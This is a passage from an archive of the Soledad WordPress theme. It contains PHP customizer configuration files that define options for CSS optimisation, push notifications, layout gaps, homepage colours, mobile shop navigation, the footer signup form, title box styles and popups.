	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_heading_inex_opts',
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'File Rules Options', 'soledad' ),
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'          => 'penci_speed_optimize_css_excludes',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Exclude Stylesheets from Optimize CSS', 'soledad' ),
	'description' => __( "Enter one per line to exclude certain CSS files from this optimizations. Examples: <strong>id:my-css-id</strong> OR <strong>a-part-from-file-url</strong>", "soledad" ),
	'type'        => 'soledad-fw-textarea',
);
$options[] = array(
	'id'          => 'penci_speed_remove_css_excludes',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Exclude Stylesheets from Remove Unused CSS', 'soledad' ),
	'description' => __( "Enter one per line to exclude certain CSS files from this optimizations. It won't remove the Unused CSS from those stylesheets. Examples: <strong>id:my-css-id</strong> OR <strong>a-part-from-file-url</strong>", "soledad" ),
	'type'        => 'soledad-fw-textarea',
);
$options[] = array(
	'id'          => 'penci_speed_allow_css_selectors',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Always Keep Selectors', 'soledad' ),
	'description' => __( "Enter one per line. Partial or full matches for selectors (if any of these keywords found, the selector will be kept). Examples: .myclass", "soledad" ),
	'type'        => 'soledad-fw-textarea',
);
$options[] = array(
	'id'       => 'penci_heading_critical_css_head',
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'CSS File Options', 'soledad' ),
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'     => 'inline',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Render Customizer CSS Method', 'soledad' ),
	'id'          => 'penci_spcss_render',
	'description' => __( 'Render Customizer CSS in a separate file can help you to improve performance dramatically.', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'inline'        => esc_html__( 'Inline CSS', 'soledad' ),
		'separate_file' => esc_html__( 'Separate CSS File', 'soledad' ),
	)
);
$options[] = array(
	'data_type'       => 'render_separate_css',
	'nonce'           => esc_html( wp_create_nonce( 'penci_render_separate_css_file' ) ),
	'label'           => __( 'Regenerate CSS File', 'soledad' ),
	'id'              => 'penci_render_separate_css',
	'type'            => 'soledad-fw-button',
	'callback'        => 'penci_activate_separate_css_file_callback',
	'active_callback' => [
		[
			'setting'  => 'penci_spcss_render',
			'operator' => '==',
			'value'    => 'separate_file',
		],
	],
);
if ( function_exists( 'penci_speed_optimizer_get_stat' ) ) {
	$soledad_pages_speed_stat = penci_speed_optimizer_get_stat();
	$css_cache                = $soledad_pages_speed_stat['css'];
	$options[]                = array(
		'type'        => 'soledad-fw-button',
		'data_type'   => 'penci_speed_delete_cache',
		'nonce'       => esc_html( wp_create_nonce( 'penci_speed_delete_cache' ) ),
		'label'       => __( 'Clear Critical CSS Cache', 'soledad' ),
		'description' => sprintf( __( '<strong>Critical CSS Cache Files:</strong> <span class="count">%1$d</span>', 'soledad' ), $css_cache ),
		'id'          => 'penci_speed_delete_cache_button',
	);
}

return $options;
PK     N\P;    T  inc/customizer/config/sections/pencidesign_new_section_push_notification_section.phpnu [        <?php
$options = [];

$options_lists = [
    'penci_pushnt_sdesc' => [
        'label' => __( 'Subscribe Description', 'soledad' ),
        'default' => __('Get real time update about this post category directly on your device, subscribe now.', 'soledad'),
    ],
    'penci_pushnt_btntext' => [
        'label' => __( 'Subscribe Button Text', 'soledad' ),
        'default' => __( 'Subscribe', 'soledad' ),
    ],
    'penci_pushnt_unbtntext' => [
        'label' => __( 'Unsubscribe Button Text', 'soledad' ),
        'default' => __( 'Unsubscribe', 'soledad' ),
    ],
    'penci_pushnt_probtntext' => [
        'label' => __( 'Processing Button Text', 'soledad' ),
        'default' => __( 'Processing ...', 'soledad' ),
    ],
];

foreach ( $options_lists as $option_key => $option_data ) {
    $options[] = [
        'id'       => $option_key,
        'type'     => 'soledad-fw-text',
        'label'    => $option_data['label'],
        'default'  => $option_data['default'],
    ];
}

return $options;PK     N\~    G  inc/customizer/config/sections/penci_section_layout_rowsgap_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Rows Gap Between Post Items', 'soledad' ),
	'id'       => 'penci_rgap_pitems',
	'ids'         => array(
		'desktop' => 'penci_rgap_pitems',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Rows Gap for Big Post Items', 'soledad' ),
	'id'       => 'penci_rgap_pbitems',
	'ids'         => array(
		'desktop' => 'penci_rgap_pbitems',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Rows Gap for Small List Post Items', 'soledad' ),
	'id'       => 'penci_rgap_psitems',
	'ids'         => array(
		'desktop' => 'penci_rgap_psitems',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

return $options;
PK     N\Y3%  %  H  inc/customizer/config/sections/penci_section_homepage_colors_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Featured Boxes', 'soledad' ),
	'id'       => 'penci_section_featured_boxes_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Featured Boxes Border & Background Color', 'soledad' ),
	'id'       => 'penci_home_boxes_overlay',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Featured Boxes Title Color', 'soledad' ),
	'id'       => 'penci_home_boxes_title_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Featured Boxes Accent Hover Color', 'soledad' ),
	'id'       => 'penci_home_boxes_accent_hover_color',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Popular Posts', 'soledad' ),
	'id'       => 'penci_section_popular_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Home Popular Posts Heading Color', 'soledad' ),
	'id'       => 'penci_home_popular_label_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Home Popular Posts Border Color', 'soledad' ),
	'id'       => 'penci_home_popular_border_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Home Popular Post Titles Color', 'soledad' ),
	'id'       => 'penci_home_popular_post_title_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Home Popular Post Titles Post Hover Color', 'soledad' ),
	'id'       => 'penci_home_popular_post_title_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Home Popular Post Date Color', 'soledad' ),
	'id'       => 'penci_home_popular_post_date_color',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Home Title Box', 'soledad' ),
	'id'       => 'penci_section_home_titlebox_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Home Title Box Background Color', 'soledad' ),
	'id'       => 'penci_home_title_box_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Home Title Box Background Outer Color', 'soledad' ),
	'id'       => 'penci_home_title_box_outer_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Home Title Box Border Color', 'soledad' ),
	'id'       => 'penci_home_title_box_border_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Home Title Box Border Outer Color', 'soledad' ),
	'id'       => 'penci_home_title_box_border_inner_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Color for Border Bottom on Home Title Box Style 5, 10, 11, 12', 'soledad' ),
	'id'       => 'penci_home_title_box_border_bottom5',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Color for Small Border Bottom on Home Title Box Style 7 & Style 8', 'soledad' ),
	'id'       => 'penci_home_title_box_border_bottom7',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Color for Border Top on Home Title Box Style 10', 'soledad' ),
	'id'       => 'penci_home_title_box_border_top10',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Color for Background Shapes Home Title Box Style 11, 12, 13', 'soledad' ),
	'id'       => 'penci_home_title_box_shapes_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Background Color for Icon on Style 15', 'soledad' ),
	'id'       => 'penci_home_bgstyle15',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Icon Color on Style 15', 'soledad' ),
	'id'       => 'penci_home_iconstyle15',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Color for Lines on Styles 18, 19, 20', 'soledad' ),
	'id'       => 'penci_home_cllines',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Home Title Box Text Color', 'soledad' ),
	'id'       => 'penci_home_title_box_text_color',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Featured Categories', 'soledad' ),
	'id'       => 'penci_section_featured_cat_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Titles Color', 'soledad' ),
	'id'       => 'penci_home_featured_title_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Titles Hover Color', 'soledad' ),
	'id'       => 'penci_home_featured_title_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Titles Color For Style 3, Style 4, Style 11, Style 14', 'soledad' ),
	'id'       => 'penci_home_featured3_title_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Titles Hover Color For Style 3, Style 4, Style 11, Style 14', 'soledad' ),
	'id'       => 'penci_home_featured3_title_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Meta Color', 'soledad' ),
	'id'       => 'penci_home_featured_meta_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Posts Meta Color For Style 3, Style 4, Style 11, Style 14', 'soledad' ),
	'id'       => 'penci_home_featured3_meta_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Color for Links on Post Meta', 'soledad' ),
	'id'       => 'penci_home_featured_metalink_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Text Color for "View All" Button', 'soledad' ),
	'id'       => 'penci_home_featured_viewall_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Background Color for "View All" Button', 'soledad' ),
	'id'       => 'penci_home_featured_viewall_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Accent Color', 'soledad' ),
	'id'       => 'penci_home_featured_accent_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Posts Overlay Background Color For Style 3 & Style 11', 'soledad' ),
	'id'       => 'penci_home_featured3_overlay_color',
);
$options[] = array(
	'default'  => '0.15',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Posts Overlay Opacity For Style 3 & Style 11', 'soledad' ),
	'id'       => 'penci_home_featured3_overlay_opacity',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'0'    => '0',
		'0.05' => '0.05',
		'0.1'  => '0.1',
		'0.15' => '0.15',
		'0.2'  => '0.2',
		'0.25' => '0.25',
		'0.3'  => '0.3',
		'0.35' => '0.35',
		'0.4'  => '0.4',
		'0.45' => '0.45',
		'0.5'  => '0.5',
		'0.55' => '0.55',
		'0.6'  => '0.6',
		'0.65' => '0.65',
		'0.7'  => '0.7',
		'0.75' => '0.75',
		'0.8'  => '0.8',
		'0.85' => '0.85',
		'0.9'  => '0.9',
		'0.95' => '0.95',
		'1'    => '1',
	)
);
$options[] = array(
	'default'  => '0.7',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Posts Overlay Opacity on Hover For Style 3 & Style 11', 'soledad' ),
	'id'       => 'penci_home_featured3_overlay_hover_opacity',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'0'    => '0',
		'0.05' => '0.05',
		'0.1'  => '0.1',
		'0.15' => '0.15',
		'0.2'  => '0.2',
		'0.25' => '0.25',
		'0.3'  => '0.3',
		'0.35' => '0.35',
		'0.4'  => '0.4',
		'0.45' => '0.45',
		'0.5'  => '0.5',
		'0.55' => '0.55',
		'0.6'  => '0.6',
		'0.65' => '0.65',
		'0.7'  => '0.7',
		'0.75' => '0.75',
		'0.8'  => '0.8',
		'0.85' => '0.85',
		'0.9'  => '0.9',
		'0.95' => '0.95',
		'1'    => '1',
	)
);

return $options;
PK     N\=ާ`  `  J  inc/customizer/config/sections/pencidesign_woo_mobile_settings_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Filter Trigger Auto Scroll', 'soledad' ),
	'id'       => 'penci_woo_mobile_autoscroll',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Bottom Navigation', 'soledad' ),
	'id'       => 'penci_woo_mobile_bottom_nav',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_multiple_checkbox',
	'label'    => __( 'Select navigation menu item', 'soledad' ),
	'id'       => 'penci_woo_mobile_nav_items',
	'multiple' => 999,
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'home'     => __('Home Page','soledad' ),
		'shop'     => __('Shop Page','soledad' ),
		'cart'     => __('Cart Page','soledad' ),
		'account'  => __('Account Page','soledad' ),
		'wishlist' => __('Wishlist Page','soledad' ),
		'compare'  => __('Compare Page','soledad' ),
		'filter'   => __('Category Filter Panel','soledad' ),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show custom Navigation Menus', 'soledad' ),
	'id'       => 'penci_woo_mobile_show_custom_nav',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Select Custom Menu for Mobile Bottom Navigation', 'soledad' ),
	'id'       => 'penci_woo_mobile_nav_menu',
	'type'     => 'soledad-fw-ajax-select',
	'choices'  => call_user_func( function () {
		$menu_list = [ '' => '' ];
		$menus     = wp_get_nav_menus();
		if ( ! empty( $menus ) ) {
			foreach ( $menus as $menu ) {
				$menu_list[ $menu->slug ] = $menu->name;
			}
		}

		return $menu_list;
	} ),
);

return $options;
PK     N\/    J  inc/customizer/config/sections/penci_section_footer_signupform_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'    => __( 'Custom Padding to Top', 'soledad' ),
	'id'       => 'penci_footer_signup_ptop',
	'default'  => '50',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_footer_signup_ptop',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '50',
		),
	),
);
$options[] = array(
	'label'    => __( 'Custom Padding to Bottom', 'soledad' ),
	'id'       => 'penci_footer_signup_pbottom',
	'default'  => '40',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_footer_signup_pbottom',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '40',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'penci_footer_signup_fstitle_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
	'default'     => '24',
);
$options[] = array(
	'label'    => __( 'Font Size for Heading', 'soledad' ),
	'id'       => 'penci_footer_signup_fstitle',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'default'  => '32',
	'ids'      => array(
		'desktop' => 'penci_footer_signup_fstitle',
		'mobile'  => 'penci_footer_signup_fstitle_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '32',
		),
		'mobile'  => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '24',
		),
	),
);
$options[] = array(
	'label'    => __( 'Font Size for Description', 'soledad' ),
	'id'       => 'penci_footer_signup_fsdesc',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'default'  => '18',
	'ids'      => [ 'desktop' => 'penci_footer_signup_fsdesc', 'mobile' => 'penci_footer_signup_fsdesc_mobile' ],
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '18',
		),
		'mobile'  => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '16',
		),
	),
);
$options[] = array(
	'label'    => __( 'Font Size for Description', 'soledad' ),
	'id'       => 'penci_footer_signup_fsdesc_mobile',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-hidden',
	'default'  => '16',
);
$options[] = array(
	'label'    => __( 'Font Size for Inputs', 'soledad' ),
	'id'       => 'penci_footer_signup_fsinputs',
	'sanitize' => 'absint',
	'default'  => '14',
	'ids'      => [ 'desktop' => 'penci_footer_signup_fsinputs' ],
	'type'     => 'soledad-fw-size',
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'label'    => __( 'Font Size for Submit Button', 'soledad' ),
	'id'       => 'penci_footer_signup_fsisubmit',
	'sanitize' => 'absint',
	'ids'      => [ 'desktop' => 'penci_footer_signup_fsisubmit' ],
	'type'     => 'soledad-fw-size',
	'default'  => '14',
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'label'    => __( 'Display Name Field on Footer SignUp Form', 'soledad' ),
	'id'       => 'penci_footer_signup_showemail',
	'type'     => 'soledad-fw-toggle',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'    => __( 'Footer SignUp Form Area Background Color', 'soledad' ),
	'id'       => 'penci_footer_signup_area_bg',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'label'    => __( 'SignUp Form Heading Text Color', 'soledad' ),
	'id'       => 'penci_footer_signup_heading_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'SignUp Form Description Text Color', 'soledad' ),
	'id'       => 'penci_footer_signup_des_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'SignUp Form Email Input Border Color', 'soledad' ),
	'id'       => 'penci_footer_signup_email_border',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'SignUp Form Email Input Hover Border Color', 'soledad' ),
	'id'       => 'footer_signup_email_border_hover',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'SignUp Form Email Text Color', 'soledad' ),
	'id'       => 'penci_footer_signup_email_text_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'SignUp Form Submit Background Color', 'soledad' ),
	'id'       => 'penci_footer_signup_button_bg',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'SignUp Form Submit Hover Background Color', 'soledad' ),
	'id'       => 'penci_footer_signup_button_bg_hover',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'SignUp Form Submit Text Color', 'soledad' ),
	'id'       => 'penci_footer_signup_button_text',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'SignUp Form Submit Hover Text Color', 'soledad' ),
	'id'       => 'penci_footer_signup_button_text_hover',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);

return $options;
PK     N\;V  V  K  inc/customizer/config/sections/penci_section_homepage_title_box_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Home Title Box Style', 'soledad' ),
	'id'       => 'penci_featured_cat_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''                  => __( 'Default( follow Sidebar )', 'soledad' ),
		'style-1'           => __( 'Style 1', 'soledad' ),
		'style-2'           => __( 'Style 2', 'soledad' ),
		'style-3'           => __( 'Style 3', 'soledad' ),
		'style-4'           => __( 'Style 4', 'soledad' ),
		'style-5'           => __( 'Style 5', 'soledad' ),
		'style-6'           => __( 'Style 6 - Only Text', 'soledad' ),
		'style-7'           => __( 'Style 7', 'soledad' ),
		'style-9'           => __( 'Style 8', 'soledad' ),
		'style-8'           => __( 'Style 9 - Custom Background Image', 'soledad' ),
		'style-10'          => __( 'Style 10', 'soledad' ),
		'style-11'          => __( 'Style 11', 'soledad' ),
		'style-12'          => __( 'Style 12', 'soledad' ),
		'style-13'          => __( 'Style 13', 'soledad' ),
		'style-14'          => __( 'Style 14', 'soledad' ),
		'style-15'          => __( 'Style 15', 'soledad' ),
		'style-16'          => __( 'Style 16', 'soledad' ),
		'style-2 style-17'  => __( 'Style 17', 'soledad' ),
		'style-18'          => __( 'Style 18', 'soledad' ),
		'style-18 style-19' => __( 'Style 19', 'soledad' ),
		'style-18 style-20' => __( 'Style 20', 'soledad' ),
		'style-21'          => __( 'Style 21', 'soledad' ),
		'style-22'          => __( 'Style 22', 'soledad' ),
		'style-23'          => __( 'Style 23', 'soledad' ),
		'style-24'          => __( 'Style 24', 'soledad' ),
		'style-25'          => __( 'Style 25', 'soledad' ),
		'style-26'          => __( 'Style 26', 'soledad' ),
		'style-27'          => __( 'Style 27', 'soledad' ),
		'style-28'          => __( 'Style 28', 'soledad' ),
	)
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Border Outer on Title Box', 'soledad' ),
	'id'       => 'penci_home_remove_border_outer',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Arrow Down on Title Box', 'soledad' ),
	'id'       => 'penci_home_remove_arrow_down',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'esc_url_raw',
	'type'     => 'soledad-fw-image',
	'label'    => __( 'Custom Background Image for Style 9', 'soledad' ),
	'id'       => 'penci_featured_cat_image_8',
);
$options[] = array(
	'default'  => 'no-repeat',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Background Image Repeat for Style 9', 'soledad' ),
	'id'       => 'penci_featured_cat8_repeat',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'no-repeat' => 'No Repeat',
		'repeat'    => 'Repeat'
	)
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn Off Uppercase on Home Title Box', 'soledad' ),
	'id'       => 'penci_home_featured_cat_lowcase',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => 'pcalign-left',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Homepage Featured Categories Title Box Align', 'soledad' ),
	'id'       => 'penci_featured_cat_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'pcalign-left'   => __( 'Left', 'soledad' ),
		'pcalign-center' => __( 'Center', 'soledad' ),
		'pcalign-right'  => __( 'Right', 'soledad' )
	)
);
$options[] = array(
	'default'  => 'pcalign-center',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Homepage Heading Latest Post Titles Align', 'soledad' ),
	'id'       => 'penci_heading_latest_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'pcalign-center' => __( 'Center', 'soledad' ),
		'pcalign-left'   => __( 'Left', 'soledad' ),
		'pcalign-right'  => __( 'Right', 'soledad' )
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Align Icon on Style 15', 'soledad' ),
	'id'       => 'penci_homep_icon_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''              => __( 'Default( follow Sidebar )', 'soledad' ),
		'pciconp-right' => __( 'Right', 'soledad' ),
		'pciconp-left'  => __( 'Left', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Custom Icon on Style 15', 'soledad' ),
	'id'       => 'penci_homep_icon_design',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''             => __( 'Default( follow Sidebar )', 'soledad' ),
		'pcicon-right' => __( 'Arrow Right', 'soledad' ),
		'pcicon-left'  => __( 'Arrow Left', 'soledad' ),
		'pcicon-down'  => __( 'Arrow Down', 'soledad' ),
		'pcicon-up'    => __( 'Arrow Up', 'soledad' ),
		'pcicon-star'  => __( 'Star', 'soledad' ),
		'pcicon-bars'  => __( 'Bars', 'soledad' ),
		'pcicon-file'  => __( 'File', 'soledad' ),
		'pcicon-fire'  => __( 'Fire', 'soledad' ),
		'pcicon-book'  => __( 'Book', 'soledad' ),
	)
);

return $options;
PK     N\E    F  inc/customizer/config/sections/penci_popup_section_display_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'id'       => 'penci_popup_show_after',
	'default'  => 'all_pages',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Event', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'all_pages' => __( 'Show on all pages, no using cookies', 'soledad' ),
		'time'      => __( 'One Time - close forever when users close popup', 'soledad' ),
		'section'   => __( 'Section', 'soledad' ),
		'fixtime'   => __( 'After Fixed Time', 'soledad' ),
	],
);
$options[] = array(
	'id'        => 'penci_popup_html_content',
	'default'   => '',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'label'     => __( 'Load Popup Content Using Shortcode/HTML', 'soledad' ),
	'type'      => 'soledad-fw-code',
	'code_type' => 'text/html',
);
$options[] = array(
	'id'          => 'penci_popup_block',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Load Popup Content Using Penci Block', 'soledad' ),
